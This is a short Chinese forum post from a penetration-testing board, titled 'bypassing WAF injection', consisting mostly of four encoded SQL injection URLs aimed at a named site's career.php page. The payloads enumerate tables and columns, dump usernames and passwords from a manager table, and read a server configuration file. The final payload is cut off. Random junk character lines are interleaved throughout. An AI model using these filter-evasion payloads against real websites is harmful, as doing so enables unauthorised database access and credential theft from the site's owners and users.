中国网络渗透测试联盟
标题:
绕过waf注入
[打印本页]
作者:
admin
时间:
2013-3-8 21:51
标题:
绕过waf注入
waf过滤了 union select from 等关键词
" u: z8 k5 u- V) F- {2 U. o8 ^; [& }
% h0 I1 v$ |* O+ K
4 _$ D$ B# ]5 H$ v- q
1.列当前库所有表
) e8 J' {8 x' x# C0 \. ]" w0 ^4 Z
http://jyht.co.uk/career.php
7 u/ f3 K& I, E( Q4 r6 ?( V
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18
5 a, W" Q+ n- o0 q1 b* Q e
2 l2 N( x% S4 [0 ^' J/ ^7 w
2.获取字段
) L0 d( F- C0 \6 R6 g9 ]7 ^ g$ _
http://jyht.co.uk/career.php
% x! N, S- R* E6 B, f; X! P$ @
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%32
$ ^6 g" j2 M0 ]( t
. Z {9 ^, a2 X+ W; P1 u) T( i
3.直接获取数据
7 L& l6 n9 \9 r
http://jyht.co.uk/career.php
m% m1 U$ g& O) {
?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%72
" M( t- @5 T- e Y" Z
" u- b8 N8 {5 e" h [- L
( C @9 S( T$ _9 d5 O3 J
4.读文件 可以不用hex 直接在页面显示(必须是root)
- n' W2 d3 U% J9 Q* K% @, x/ f
http://jyht.co.uk/career.php
. A7 v m6 A! M; g
?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E70687
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2